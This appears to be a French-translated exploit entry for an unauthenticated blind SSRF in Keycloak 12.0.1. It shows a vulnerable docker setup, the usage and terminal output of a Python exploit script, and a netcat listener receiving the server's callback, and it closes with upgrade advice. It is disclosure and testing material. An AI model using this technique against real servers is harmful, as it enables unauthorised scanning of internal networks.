
Keycloak 12.0.1 - 'request_uri ' Falsification de requête côté serveur aveugle (SSRF) (Non authentifié)
Keycloak 12.0.1 - 'request_uri' Server-Side Request Forgery (SSRF) aveugle (non authentifié)
Résultat attendu : Scan de ports du localhost ou d'hôtes accessibles en interne.
Prévu uniquement à des fins éducatives et de test dans des environnements d'entreprise.
Cet exploit a été testé sur Python 3.8.6
Application vulnérable :
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
cfx: ~/keycloak
→ python3 exploit.py -h
usage: exploit.py [-h] [-u URL]
-=[Test SSRF aveugle Keycloak par ColdFusionX]=-
arguments optionnels :
-h, --help affiche ce message d'aide et quitte
-u URL, --url URL URL cible Keycloak (Exemple : http://127.0.0.1:8080)
Utilisation de l'exploit :
./exploit.py -u http://127.0.0.1:8080
[^] Entrez l'hôte:port Netcat -> 192.168.0.1:4444
cfx: ~/keycloak
→ python3 exploit.py -u http://localhost:8080
[+] Test SSRF Bind Keycloak par ColdFusionX
[^] Entrez l'hôte:port Netcat -> 192.168.0.1:4444
[-] URL invalide ou cible non vulnérable
cfx: ~/keycloak
→ python3 exploit.py -u http://localhost:8080
[+] Test SSRF Bind Keycloak par ColdFusionX
[^] Entrez l'hôte:port Netcat -> 192.168.0.1:9994
[+] BINGO ! Vérifiez l'écouteur Netcat pour le callback HTTP :)
Callback HTTP sur l'écouteur nc :
cfx: ~/keycloak
→ nc -lvnp 9994
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9994
Ncat: Listening on 0.0.0.0:9994
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:36866.
GET / HTTP/1.1
Host: 192.168.0.1:9994
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
Mettez à jour vers Keycloak 12.0.2 ou une version ultérieure